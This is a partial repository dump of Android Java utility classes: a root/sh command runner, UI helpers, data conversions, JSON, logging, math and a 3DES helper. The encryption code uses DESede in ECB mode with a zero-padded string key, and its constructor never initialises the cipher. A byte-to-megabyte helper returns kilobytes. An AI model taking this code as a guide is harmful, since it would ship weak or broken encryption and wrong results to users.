29 | return new CommandResult(result, "","");
30 | }
31 |
32 | Process process = null;
33 | BufferedReader successResult = null;
34 | BufferedReader errorResult = null;
35 | StringBuilder successMsg = null;
36 | StringBuilder errorMsg = null;
37 |
38 | DataOutputStream os = null;
39 | try {
40 | process = Runtime.getRuntime().exec(isRoot ? COMMAND_SU : COMMAND_SH);
41 | os = new DataOutputStream(process.getOutputStream());
42 | for (String command : commands) {
43 | if (command == null) {
44 | continue;
45 | }
46 |
47 | // donnot use os.writeBytes(commmand), avoid chinese charset error
48 | os.write(command.getBytes());
49 | os.writeBytes(COMMAND_LINE_END);
50 | os.flush();
51 | }
52 | os.writeBytes(COMMAND_EXIT);
53 | os.flush();
54 |
55 | result = process.waitFor();
56 | // get command result
57 | if (isNeedResultMsg) {
58 | successMsg = new StringBuilder();
59 | errorMsg = new StringBuilder();
60 | successResult = new BufferedReader(new InputStreamReader(process.getInputStream()));
61 | errorResult = new BufferedReader(new InputStreamReader(process.getErrorStream()));
62 | String s;
63 | while ((s = successResult.readLine()) != null) {
64 | successMsg.append(s);
65 | }
66 | while ((s = errorResult.readLine()) != null) {
67 | errorMsg.append(s);
68 | }
69 | }
70 | } catch (IOException e) {
71 | e.printStackTrace();
72 | } catch (Exception e) {
73 | e.printStackTrace();
74 | } finally {
75 | try {
76 | if (os != null) {
77 | os.close();
78 | }
79 | if (successResult != null) {
80 | successResult.close();
81 | }
82 | if (errorResult != null) {
83 | errorResult.close();
84 | }
85 | } catch (IOException e) {
86 | e.printStackTrace();
87 | }
88 |
89 | // if (process != null) {
90 | // process.destroy();
91 | // }
92 | }
93 | return new CommandResult(result, successMsg == null ? "" : successMsg.toString(),
94 | errorMsg == null ? "" : errorMsg.toString());
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/CommonUtils.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.app.Activity;
4 | import android.content.ContentResolver;
5 | import android.content.Context;
6 | import android.content.Intent;
7 | import android.content.Intent.ShortcutIconResource;
8 | import android.database.Cursor;
9 | import android.graphics.Bitmap;
10 | import android.graphics.Color;
11 | import android.net.Uri;
12 | import android.text.SpannableString;
13 | import android.text.Spanned;
14 | import android.text.style.ForegroundColorSpan;
15 | import android.view.View;
16 | import android.view.animation.AlphaAnimation;
17 | import android.view.animation.Animation;
18 | import android.view.inputmethod.InputMethodManager;
19 | import android.widget.EditText;
20 | import android.widget.ImageView;
21 |
22 | import java.util.regex.Matcher;
23 | import java.util.regex.Pattern;
24 |
25 | /**
26 | * Title: 其他工具类
27 | * Description:
28 | * 1.显示键盘
29 | * 2.隐藏键盘
30 | * 3.EidtText控件显示错误信息 参数以String传入
31 | * 4.图片切换特效
32 | * 5.判断是否存在快捷方式
33 | * 6.添加快捷方式
34 | * 7.删除快捷方式
35 | * 8.返回系统SDK版本号
36 | * 9.截屏(无状态栏)
37 | * 10.把图片变成圆角
38 | * 11.回收图片资源
39 | *
40 | */
41 | public class CommonUtils {
42 | /**
43 | * 显示键盘
44 | *
45 | * @param mContext
46 | * @param v
47 | */
48 | public static void showKeyboard(Context mContext, View v) {
49 | v.requestFocus();
50 | ((InputMethodManager) mContext.getSystemService(Context.INPUT_METHOD_SERVICE)).showSoftInput(v, 0);
51 | }
52 |
53 | /**
54 | * 隐藏键盘
55 | *
56 | * @param a
57 | */
58 | public static void hideKeyboard(final Activity a) {
59 | if (a == null || a.getCurrentFocus() == null)
60 | return;
61 | InputMethodManager inputManager = (InputMethodManager) a.getApplicationContext().getSystemService(Context.INPUT_METHOD_SERVICE);
62 | if (inputManager != null) {
63 | inputManager.hideSoftInputFromWindow(a.getCurrentFocus().getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS);
64 | }
65 | }
66 |
67 | /**
68 | * EidtText控件显示错误信息 参数以String传入
69 | *
70 | * @param et
71 | * @param error
72 | * 字符串参数
73 | * @param animation
74 | */
75 | public static void showErrorByEditText(EditText et, String error, Animation animation) {
76 | et.requestFocus();
77 | SpannableString ss = new SpannableString(error);
78 | ss.setSpan(new ForegroundColorSpan(Color.BLACK), 0, error.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
79 | et.setError(ss);
80 | et.startAnimation(animation);
81 | }
82 |
83 | /**
84 | * EditText控件显示错误信息 参数以R.string.xxx传入
85 | *
86 | * @param et
87 | * @param resId
88 | * 资源ID
89 | * @param animation
90 | */
91 | public static void showErrorByEditText(EditText et, int resId, Animation animation) {
92 | String error = et.getResources().getString(resId);
93 | et.requestFocus();
94 | SpannableString ss = new SpannableString(error);
95 | ss.setSpan(new ForegroundColorSpan(Color.BLACK), 0, error.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
96 | et.setError(ss);
97 | et.startAnimation(animation);
98 | }
99 |
100 | /**
101 | * 隐藏EditText控件错误信息
102 | *
103 | * @param et
104 | * @param animation
105 | */
106 | public static void hideErrorByEditText(EditText et) {
107 | et.requestFocus();
108 | et.setError(null);
109 | }
110 |
111 | /**
112 | * 图片切换特效
113 | *
114 | * @param imageView
115 | */
116 | public static void showImageChange(ImageView imageView) {
117 | AlphaAnimation animation = new AlphaAnimation(0.1f, 1.0f);
118 | animation.setDuration(1000);
119 | imageView.startAnimation(animation);
120 | }
121 |
122 | /**
123 | * 判断是否存在快捷方式
124 | *
125 | * @param ctx
126 | * @return
127 | */
128 | public static boolean hasShortcut(Context ctx, int app_name) {
129 | boolean isInstallShortcut = false;
130 | final ContentResolver cr = ctx.getContentResolver();
131 | final String AUTHORITY;
132 | // 在andriod 2.1即SDK7以上,是读取launcher.settings中的favorites表的数据;
133 | // 在andriod 2.2即SDK8以上,是读取launcher2.settings中的favorites表的数据。
134 | if (getSystemVersion() < 8) {
135 | AUTHORITY = "com.android.launcher.settings";
136 | } else {
137 | AUTHORITY = "com.android.launcher2.settings";
138 | }
139 | final Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY + "/favorites?notify=true");
140 | Cursor c = cr.query(CONTENT_URI, new String[] { "title", "iconResource" }, "title=?", new String[] { ctx.getString(app_name).trim() }, null);
141 | if (c != null && c.getCount() > 0) {
142 | isInstallShortcut = true;
143 | }
144 | return isInstallShortcut;
145 | }
146 |
147 | /**
148 | * 添加快捷方式
149 | *
150 | * @param act
151 | */
152 | public static void createShortcut(Context ctx, int app_name, int icon, Class> clazz) {
153 | Intent shortcut = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");
154 | // 快捷方式的名称
155 | shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, ctx.getString(app_name));
156 | shortcut.putExtra("duplicate", false); // 不允许重复创建
157 | // 指定当前的Activity为快捷方式启动的对象: 如 com.everest.video.VideoPlayer
158 | // 注意: ComponentName的第二个参数必须加上点号(.),否则快捷方式无法启动相应程序
159 | // String appClass = act.getPackageName() + "." + launchActivity;
160 | // ComponentName comp = new ComponentName(act.getPackageName(), clazz);
161 | shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, new Intent(Intent.ACTION_MAIN).setClass(ctx, clazz));
162 | // 快捷方式的图标
163 | ShortcutIconResource iconRes = ShortcutIconResource.fromContext(ctx, icon);
164 | shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes);
165 | ctx.sendBroadcast(shortcut);
166 | }
167 |
168 | /**
169 | * 删除快捷方式
170 | *
171 | * @param act
172 | */
173 | public static void removeShortcut(Context ctx, int app_name, Class> clazz) {
174 | Intent shortcut = new Intent("com.android.launcher.action.UNINSTALL_SHORTCUT");
175 | // 快捷方式的名称
176 | shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, ctx.getString(app_name));
177 | // 指定当前的Activity为快捷方式启动的对象: 如 com.everest.video.VideoPlayer
178 | // 注意: ComponentName的第二个参数必须是完整的类名(包名+类名),否则无法删除快捷方式
179 | // String appClass = act.getPackageName() + ".WelcomeIndexActivity";
180 | // ComponentName comp = new ComponentName(act.getPackageName(),
181 | // appClass);
182 | shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, new Intent(Intent.ACTION_MAIN).setClass(ctx, clazz));
183 | ctx.sendBroadcast(shortcut);
184 | }
185 |
186 | /**
187 | * 返回系统SDK版本号
188 | *
189 | * @return
190 | */
191 | public static int getSystemVersion() {
192 | return android.os.Build.VERSION.SDK_INT;
193 | }
194 |
195 | /**
196 | * 截屏(无状态栏)
197 | *
198 | * @param activity
199 | * 被截屏的activity
200 | * @return 截下后图片的bitmap
201 | */
202 | public static Bitmap shot(Activity activity) {
203 | Activity wisdowsActivity = activity;
204 | if (activity.getParent() != null) {
205 | wisdowsActivity = activity.getParent();
206 | }
207 | View view = wisdowsActivity.getWindow().getDecorView();
208 | int width = AppHelper.getScreenWidth(activity);
209 | int height = AppHelper.getScreenHeight(activity);
210 | view.layout(0, 0, width, height);
211 | view.setDrawingCacheEnabled(true);
212 | int statusBarHeight = AppHelper.getStatusBarHeight(activity);// 获取状态栏高度
213 | // 去除状态栏
214 | Bitmap bitmap = Bitmap.createBitmap(view.getDrawingCache(), 0, statusBarHeight, width, height - statusBarHeight);
215 | view.setDrawingCacheEnabled(false);
216 | return bitmap;
217 | }
218 |
219 | /**
220 | * 正则匹配手机号码
221 | * @param mobileNo
222 | * @return
223 | */
224 | public static boolean isMobileNoValid(String mobileNo) {
225 | String regExp = "^[1][3-8]+\\d{9}";
226 |
227 | Pattern p = Pattern.compile(regExp);
228 |
229 | Matcher m = p.matcher(mobileNo);
230 |
231 | return m.find();
232 |
233 | }
234 | }
235 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/DataUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.content.Context;
4 | import android.text.TextUtils;
5 |
6 | /**
7 | * Title: 数据处理工具类
8 | * Description:
9 | * 1.转换dip为px
10 | * 2.转换px为dip
11 | * 3.将px转sp
12 | * 4.将sp转px
13 | * 5.浮点数转换整数
14 | * 6.双字节数转换整数
15 | * 7.转换字符串为布尔值
16 | * 8.字符串转换为整数
17 | * 9.转换为long
18 | * 11.转换为double
19 | * 12.转换为float
20 | * 13.ASCII码转BCD码
21 | * 14.BCD转字符串
22 | * 15.拆分字节数组
23 | *
24 | */
25 | public class DataUtil {
26 | public static final String TRUE = "true";
27 | public static final String FALSE = "false";
28 | /**
29 | * 转换dip为px
30 | *
31 | * @param context
32 | * @param dip
33 | * 值
34 | * @return
35 | */
36 | public static int convertDipToPx(Context context, double dip) {
37 | float scale = AppHelper.getScreenDensity(context);
38 | return (int) (dip * scale + 0.5f * (dip >= 0 ? 1 : -1));
39 | }
40 |
41 | /**
42 | * 转换px为dip
43 | *
44 | * @param context
45 | * @param px
46 | * 值
47 | * @return
48 | */
49 | public static int convertPxToDip(Context context, int px) {
50 | float scale = AppHelper.getScreenDensity(context);
51 | return (int) (px / scale + 0.5f * (px >= 0 ? 1 : -1));
52 | }
53 |
54 | /**
55 | * 将PX转SP
56 | *
57 | * @param context
58 | * @param pxValue
59 | * px值
60 | * @return
61 | */
62 | public static int convertPxToSp(Context context, float pxValue) {
63 | float fontScale = AppHelper.getScaledDensity(context);
64 | return (int) (pxValue / fontScale + 0.5f);
65 | }
66 |
67 | /**
68 | * 将SP转PX
69 | *
70 | * @param context
71 | * @param spValue
72 | * sp值
73 | * @return
74 | */
75 | public static int convertSpToPx(Context context, float spValue) {
76 | float fontScale = AppHelper.getScaledDensity(context);
77 | return (int) (spValue * fontScale + 0.5f);
78 | }
79 |
80 | /**
81 | * 浮点数转换整数
82 | *
83 | * @param f
84 | * @return
85 | */
86 | public static int float2Int(float f) {
87 | return Math.round(f);
88 | }
89 |
90 | /**
91 | * 双字节数转换整数
92 | *
93 | * @param d
94 | * @return
95 | */
96 | public static int double2Int(double d) {
97 | return Long.valueOf(Math.round(d)).intValue();
98 | }
99 | /**
100 | * 转换字符串为布尔值
101 | * @param booleanStr 布尔字符串
102 | * @return 布尔值
103 | */
104 | public static boolean string2Boolean(String booleanStr){
105 | if (booleanStr == null){
106 | return false;
107 | }
108 | return booleanStr.equals(TRUE);
109 | }
110 | /**
111 | * 转换布尔值为字符串
112 | * @param bool 布尔值
113 | * @return 布尔字符串
114 | */
115 | public static String boolean2String (boolean bool){
116 | return bool ? TRUE : FALSE;
117 | }
118 | /**
119 | * 判断是否是真
120 | * @param booleanStr 真假字符串
121 | * @return
122 | */
123 | public static boolean isTrue(String booleanStr){
124 | if (TextUtils.isEmpty(booleanStr)){
125 | return false;
126 | }
127 | return DataUtil.TRUE.equals(booleanStr.trim());
128 | }
129 |
130 | /**
131 | * 转换为int
132 | * @param data 字符串
133 | * @return
134 | */
135 | public static int toInt(String data){
136 | int result = 0;
137 | try{
138 | result = Integer.valueOf(data);
139 | }catch(Exception ex){
140 | result = Integer.MIN_VALUE;
141 | }
142 | return result;
143 | }
144 | /**
145 | * 字符串转换为整数
146 | * @param data 字符串
147 | * @param defaultValue 默认值
148 | * @return
149 | */
150 | public static int toInt(String data, int defaultValue){
151 | int result = 0;
152 | try{
153 | result = Integer.valueOf(data);
154 | }catch(Exception ex){
155 | result = defaultValue;
156 | }
157 | return result;
158 | }
159 | /**
160 | * 转换为long
161 | * @param data 字符串
162 | * @return
163 | */
164 | public static long toLong(String data){
165 | long result = 0;
166 | try{
167 | result = Long.valueOf(data);
168 | }catch(Exception ex){
169 | result = Long.MIN_VALUE;
170 | }
171 | return result;
172 | }
173 | /**
174 | * 转换为float
175 | * @param data 字符串
176 | * @return
177 | */
178 | public static float toFloat(String data){
179 | float result = 0;
180 | try{
181 | result = Float.valueOf(data);
182 | }catch(Exception ex){
183 | result = Float.MIN_VALUE;
184 | }
185 | return result;
186 | }
187 | /**
188 | * 转换为double
189 | * @param data 字符串
190 | * @return
191 | */
192 | public static double toDouble(String data){
193 | double result = 0;
194 | try{
195 | result = Double.valueOf(data);
196 | }catch(Exception ex){
197 | result = Double.MIN_VALUE;
198 | }
199 | return result;
200 | }
201 | /**
202 | * ASCII码转BCD码
203 | *
204 | */
205 | public static byte[] ASCII_To_BCD(byte[] ascii, int asc_len) {
206 | byte[] bcd = new byte[asc_len / 2];
207 | int j = 0;
208 | for (int i = 0; i < (asc_len + 1) / 2; i++) {
209 | bcd[i] = asc_to_bcd(ascii[j++]);
210 | bcd[i] = (byte) (((j >= asc_len) ? 0x00 : asc_to_bcd(ascii[j++])) + (bcd[i] << 4));
211 | }
212 | return bcd;
213 | }
214 |
215 | public static byte asc_to_bcd(byte asc) {
216 | byte bcd;
217 |
218 | if ((asc >= '0') && (asc <= '9'))
219 | bcd = (byte) (asc - '0');
220 | else if ((asc >= 'A') && (asc <= 'F'))
221 | bcd = (byte) (asc - 'A' + 10);
222 | else if ((asc >= 'a') && (asc <= 'f'))
223 | bcd = (byte) (asc - 'a' + 10);
224 | else
225 | bcd = (byte) (asc - 48);
226 | return bcd;
227 | }
228 |
229 | /**
230 | * BCD转字符串
231 | */
232 | public static String bcd2Str(byte[] bytes) {
233 | char temp[] = new char[bytes.length * 2], val;
234 |
235 | for (int i = 0; i < bytes.length; i++) {
236 | val = (char) (((bytes[i] & 0xf0) >> 4) & 0x0f);
237 | temp[i * 2] = (char) (val > 9 ? val + 'A' - 10 : val + '0');
238 |
239 | val = (char) (bytes[i] & 0x0f);
240 | temp[i * 2 + 1] = (char) (val > 9 ? val + 'A' - 10 : val + '0');
241 | }
242 | return new String(temp);
243 | }
244 |
245 | /**
246 | *拆分数组
247 | */
248 | public static byte[][] splitArray(byte[] data, int len) {
249 | int x = data.length / len;
250 | int y = data.length % len;
251 | int z = 0;
252 | if (y != 0) {
253 | z = 1;
254 | }
255 | byte[][] arrays = new byte[x + z][];
256 | byte[] arr;
257 | for (int i = 0; i < x + z; i++) {
258 | arr = new byte[len];
259 | if (i == x + z - 1 && y != 0) {
260 | System.arraycopy(data, i * len, arr, 0, y);
261 | } else {
262 | System.arraycopy(data, i * len, arr, 0, len);
263 | }
264 | arrays[i] = arr;
265 | }
266 | return arrays;
267 | }
268 | }
269 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/DesEncrypter.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.util.Base64;
4 |
5 | import java.io.UnsupportedEncodingException;
6 | import java.security.NoSuchAlgorithmException;
7 |
8 | import javax.crypto.Cipher;
9 | import javax.crypto.SecretKey;
10 | import javax.crypto.spec.SecretKeySpec;
11 |
12 | /**
13 | * Title: 3Des加密
14 | * Description:
15 | */
16 | public class DesEncrypter {
17 | Cipher ecipher;
18 |
19 | Cipher dcipher;
20 |
21 | public DesEncrypter(SecretKey key) throws Exception {
22 | ecipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
23 | // ecipher.init(Cipher.ENCRYPT_MODE,
24 | // KeyGenerator.getInstance("DES").generateKey());
25 | }
26 |
27 | public String encrypt(String str) throws Exception {
28 | // Encode the string into bytes using utf-8
29 | byte[] utf8 = str.getBytes("UTF-8");
30 |
31 | // Encrypt
32 | byte[] enc = ecipher.doFinal(utf8);
33 |
34 | // Encode bytes to base64 to get a string
35 | return new String(Base64.encode(enc, 0), "UTF-8");
36 | }
37 |
38 | public static String encodeBy3DES(String key, String input) {
39 | Cipher cipher;
40 | try {
41 | cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
42 | cipher.init(Cipher.ENCRYPT_MODE, initKey(key));
43 | byte[] encBytes = cipher.doFinal(input.getBytes("UTF-8"));
44 | byte[] encBase64Bytes = Base64.encode(encBytes, 0);
45 | return new String(encBase64Bytes, "UTF-8");
46 | } catch (Exception e) {
47 | e.printStackTrace();
48 | }
49 | return "";
50 | }
51 |
52 | private static SecretKey initKey(String key) throws NoSuchAlgorithmException,
53 | UnsupportedEncodingException {
54 | byte[] keyBytes = new byte[24];
55 | byte[] temp = key.getBytes("UTF-8");
56 | if (keyBytes.length > temp.length) {
57 | System.arraycopy(temp, 0, keyBytes, 0, temp.length);
58 | } else {
59 | System.arraycopy(temp, 0, keyBytes, 0, keyBytes.length);
60 | }
61 | return new SecretKeySpec(keyBytes, "DESede");
62 | }
63 |
64 | }
65 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/Frequency.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | /**
4 | * Title: 频率控制器
5 | * Description:
6 | */
7 | public class Frequency {
8 |
9 | private long sectionStart;
10 | private long sectionEnd;
11 | private long interval; // 间隔时间 毫秒
12 |
13 | public Frequency(int interval) {
14 | sectionStart = System.currentTimeMillis();
15 | sectionEnd = System.currentTimeMillis();
16 | this.interval = interval;
17 | }
18 |
19 | public boolean toRun() {
20 | sectionEnd = System.currentTimeMillis();
21 | long result = sectionEnd - sectionStart;
22 | if (result >= interval) {
23 | sectionStart = System.currentTimeMillis();
24 | return true;
25 | }
26 | return false;
27 | }
28 |
29 | }
30 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/JsonUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 |
4 | import com.google.gson.Gson;
5 | import com.google.gson.GsonBuilder;
6 |
7 | import org.json.JSONArray;
8 | import org.json.JSONException;
9 | import org.json.JSONObject;
10 |
11 | import java.util.Arrays;
12 | import java.util.List;
13 |
14 | /**
15 | * Title: Json工具类
16 | * Description:
17 | * 1.json数组字符串转化成对象数组
18 | * 2.将json字符串转化成某个对象
19 | * 3.转换字符串为Json对象
20 | *
21 | */
22 | public class JsonUtil {
23 | /**
24 | * json数组转化成对象数组
25 | *
26 | * @param jsonStr
27 | * @return
28 | */
29 | public static List jsonToArray(String jsonStr, Class clazz) {
30 | T[] arr = new Gson().fromJson(jsonStr, clazz);
31 | return Arrays.asList(arr);
32 | }
33 |
34 | public static List jsonToArray(JSONArray jsonArray, Class clazz) {
35 | return jsonToArray(jsonArray.toString(), clazz);
36 | }
37 | /**
38 | * 对象转Json字符串
39 | *
40 | * @param entity
41 | * 需要转换的对象实体
42 | * @return
43 | */
44 | public static String toJson(Object entity) {
45 | if (entity == null) {
46 | return "";
47 | }
48 | try {
49 | Gson gson = new Gson();
50 | return gson.toJson(entity);
51 | } catch (Exception e) {
52 | Log.e("toJson 异常。", e);
53 | return "";
54 | }
55 | }
56 | //禁止转义json
57 | public static String toJsonNew(Object entity) {
58 | if (entity == null) {
59 | return "";
60 | }
61 | try {
62 | Gson gson = new GsonBuilder().setPrettyPrinting().disableHtmlEscaping().create();
63 | return gson.toJson(entity);
64 | } catch (Exception e) {
65 | Log.e("toJson 异常。", e);
66 | return "";
67 | }
68 | }
69 |
70 | /**
71 | * Json字符串转对象
72 | *
73 | * @param
74 | * @param result
75 | * Json字符串
76 | * @return
77 | */
78 | public static T toObject(String result, Class clazz) {
79 | if (clazz == null || StringUtil.isEmpty(result)) {
80 | return null;
81 | }
82 | try {
83 | Gson gson = new Gson();
84 | return gson.fromJson(result, clazz);
85 | } catch (Exception e) {
86 | Log.e("JSON 转换异常!", e);
87 | try {
88 | return clazz.newInstance();
89 | } catch (IllegalAccessException e1) {
90 | Log.e("toObject IllegalAccessException 实例化异常", e1);
91 | } catch (InstantiationException e1) {
92 | Log.e("toObject IllegalAccessException 实例化异常", e1);
93 | }
94 | }
95 | return null;
96 | }
97 |
98 | /**
99 | * 转换字符串为Json对象
100 | *
101 | * @param json
102 | * json字符串
103 | * @return
104 | */
105 | public static JSONObject parseJSON(String json) {
106 | try {
107 | return new JSONObject(json);
108 | } catch (JSONException e) {
109 | Log.e("JSONException :" + e);
110 | }
111 | return new JSONObject();
112 | }
113 | }
114 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/Log.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | /**
4 | *
5 | * Title: 日志工具
6 | * Description: 日志工具,发布前,请修改LOG_LEVEL为info
7 | */
8 | public class Log {
9 |
10 | protected static final String TAG = "WisdomCity";
11 |
12 | /**
13 | * if the message level less than LOG_LEVEL, no output.
14 | *
15 | * LOG_LEVEL values please see:
16 | * android.util.Log.VERBOSE
17 | * android.util.Log.DEBUG
18 | * android.util.Log.INFO
19 | * android.util.Log.WARN
20 | * android.util.Log.ERROR
21 | *
22 | * please change LOG_LEVEL to android.util.Log.INFO when Project release
23 | */
24 | protected static int LOG_LEVEL = android.util.Log.WARN;
25 |
26 | private Log() {
27 | }
28 |
29 | /**
30 | * Send a VERBOSE log message.
31 | * @param msg The message you would like logged.
32 | */
33 | public static void v(String msg) {
34 | if (LOG_LEVEL <= android.util.Log.VERBOSE)
35 | android.util.Log.v(TAG, buildMessage(msg));
36 | }
37 |
38 | /**
39 | * Send a VERBOSE log message and log the exception.
40 | * @param msg The message you would like logged.
41 | * @param thr An exception to log
42 | */
43 | public static void v(String msg, Throwable thr) {
44 | if (LOG_LEVEL <= android.util.Log.VERBOSE)
45 | android.util.Log.v(TAG, buildMessage(msg), thr);
46 | }
47 |
48 | /**
49 | * Send a DEBUG log message.
50 | * @param msg
51 | */
52 | public static void d(String msg) {
53 | if (LOG_LEVEL <= android.util.Log.DEBUG)
54 | android.util.Log.d(TAG, buildMessage(msg));
55 | }
56 |
57 | /**
58 | * Send a DEBUG log message and log the exception.
59 | * @param msg The message you would like logged.
60 | * @param tr An exception to log
61 | */
62 | public static void d(String msg, Throwable thr) {
63 | if (LOG_LEVEL <= android.util.Log.DEBUG)
64 | android.util.Log.d(TAG, buildMessage(msg), thr);
65 | }
66 |
67 | /**
68 | * Send an INFO log message.
69 | * @param msg The message you would like logged.
70 | */
71 | public static void i(String msg) {
72 | if (LOG_LEVEL <= android.util.Log.INFO)
73 | android.util.Log.i(TAG, buildMessage(msg));
74 | }
75 |
76 | /**
77 | * Send a INFO log message and log the exception.
78 | * @param msg The message you would like logged.
79 | * @param thr An exception to log
80 | */
81 | public static void i(String msg, Throwable thr) {
82 | if (LOG_LEVEL <= android.util.Log.INFO)
83 | android.util.Log.i(TAG, buildMessage(msg), thr);
84 | }
85 |
86 | /**
87 | * Send a WARN log message
88 | * @param msg The message you would like logged.
89 | */
90 | public static void w(String msg) {
91 | if (LOG_LEVEL <= android.util.Log.WARN)
92 | android.util.Log.w(TAG, buildMessage(msg));
93 | }
94 |
95 | /**
96 | * Send a WARN log message and log the exception.
97 | * @param msg The message you would like logged.
98 | * @param thr An exception to log
99 | */
100 | public static void w(String msg, Throwable thr) {
101 | if (LOG_LEVEL <= android.util.Log.WARN)
102 | android.util.Log.w(TAG, buildMessage(msg), thr);
103 | }
104 |
105 | /**
106 | * Send an empty WARN log message and log the exception.
107 | * @param thr An exception to log
108 | */
109 | public static void w(Throwable thr) {
110 | if (LOG_LEVEL <= android.util.Log.WARN)
111 | android.util.Log.w(TAG, buildMessage(""), thr);
112 | }
113 |
114 | /**
115 | * Send an ERROR log message.
116 | * @param msg The message you would like logged.
117 | */
118 | public static void e(String msg) {
119 | if (LOG_LEVEL <= android.util.Log.ERROR)
120 | android.util.Log.e(TAG, buildMessage(msg));
121 | }
122 |
123 | /**
124 | * Send an ERROR log message and log the exception.
125 | * @param msg The message you would like logged.
126 | * @param thr An exception to log
127 | */
128 | public static void e(String msg, Throwable thr) {
129 | if (LOG_LEVEL <= android.util.Log.ERROR)
130 | android.util.Log.e(TAG, buildMessage(msg), thr);
131 | }
132 |
133 | /**
134 | * Building Message
135 | * @param msg The message you would like logged.
136 | * @return Message String
137 | */
138 | protected static String buildMessage(String msg) {
139 | StackTraceElement caller = new Throwable().fillInStackTrace().getStackTrace()[2];
140 |
141 | return new StringBuilder().append(caller.getClassName()).append(".")
142 | .append(caller.getMethodName()).append("(): ").append(msg).toString();
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/MathUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.graphics.Point;
4 |
5 | import java.text.DecimalFormat;
6 | import java.util.Random;
7 |
8 | /**
9 | * Title: Math工具类
10 | * Description:
11 | * 1.byte转化成kb
12 | * 2.byte转化成mb
13 | * 3.求起始点坐标
14 | * 4.获取不大于某个值的随机数
15 | *
16 | */
17 | public class MathUtil {
18 | public static DecimalFormat percentFormat = new DecimalFormat("##%");
19 |
20 | public static int byte2kb(int bytes) {
21 | if (bytes >= 1024) {
22 | return bytes / 1024;
23 | }
24 | return bytes;
25 | }
26 |
27 | public static int byte2mb(int bytes) {
28 | if (bytes >= 1024) {
29 | return bytes / 1024;
30 | }
31 | return bytes;
32 | }
33 |
34 |
35 |
36 | /**
37 | * 计算圆上点旋转的真实坐标 已知圆心和圆上终点点,并知道经过的旋转度数,求起始点坐标
38 | *
39 | * @param srcPoint
40 | * 圆上已知点的坐标
41 | * @param centerPoint
42 | * 圆点
43 | * @param degree
44 | * 旋转的角度,以二维坐标系方式
45 | * @return
46 | */
47 | public static Point calcRealPoint(Point srcPoint, Point centerPoint, int degree, boolean isZeroPointAtTop) {
48 | Point result = new Point();
49 | double r = Math.hypot(srcPoint.x - centerPoint.x, srcPoint.y - centerPoint.y);
50 | double beta = calcAngle(srcPoint, centerPoint, isZeroPointAtTop);
51 | beta += degree;
52 | double desY = Math.abs(Math.sin(beta * Math.PI / 180) * r);
53 | double desX = Math.abs(Math.sqrt(r * r - desY * desY));
54 | beta = beta % 360;
55 | if (90 < beta && beta < 270) {
56 | // X为负
57 | desX = -1 * desX;
58 | } else {
59 | // X为正
60 | }
61 | if (0 <= beta && beta <= 180) {
62 | // 项点在上角时Y为负,在下角时Y为正
63 | desY = isZeroPointAtTop ? -desY : desY;
64 | } else {
65 | // 项点在上角时Y为正,在下角时Y为负
66 | desY = isZeroPointAtTop ? desY : -desY;
67 | }
68 | result.set(DataUtil.double2Int(desX + centerPoint.x), DataUtil.double2Int(desY + centerPoint.y));
69 | return result;
70 | }
71 |
72 | public static double calcAngle(Point srcPoint, Point centerPoint, boolean isZeroPointAtTop) {
73 | Point srcTempPoint = new Point(srcPoint.x - centerPoint.x, isZeroPointAtTop ? centerPoint.y - srcPoint.y : srcPoint.y - centerPoint.y);
74 | double r = Math.hypot(srcTempPoint.x, srcTempPoint.y);
75 | double beta = 0;
76 | if (srcTempPoint.x >= 0 && srcTempPoint.y >= 0) {
77 | // 第一象限
78 | beta = Math.round(Math.acos(srcTempPoint.x / r) * 180 / Math.PI);
79 | } else if (srcTempPoint.x < 0 && srcTempPoint.y >= 0) {
80 | // 第二象限
81 | beta = 180 - Math.round(Math.asin(srcTempPoint.y / r) * 180 / Math.PI);
82 | } else if (srcTempPoint.x < 0 && srcTempPoint.y < 0) {
83 | // 第三象限
84 | beta = 180 - Math.round(Math.asin(srcTempPoint.y / r) * 180 / Math.PI);
85 | } else if (srcTempPoint.x >= 0 && srcTempPoint.y < 0) {
86 | // 第四象限
87 | beta = Math.round(Math.asin(srcTempPoint.y / r) * 180 / Math.PI) + 360;
88 | }
89 | return beta;
90 | }
91 | /**
92 | * 获取小于最大随机数的任一随机数
93 | *
94 | * @param maxNum 最大随机数
95 | * @return 随机数
96 | */
97 | public static int getRandomNum(int maxNum) {
98 | if (maxNum < 0) {
99 | return 0;
100 | }
101 | return new Random().nextInt(maxNum);
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ProjectHelper.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.content.Context;
4 | import android.view.ViewParent;
5 |
6 | import java.io.File;
7 | import java.io.FileOutputStream;
8 | import java.io.IOException;
9 | import java.io.InputStream;
10 | import java.io.OutputStream;
11 | import java.net.HttpURLConnection;
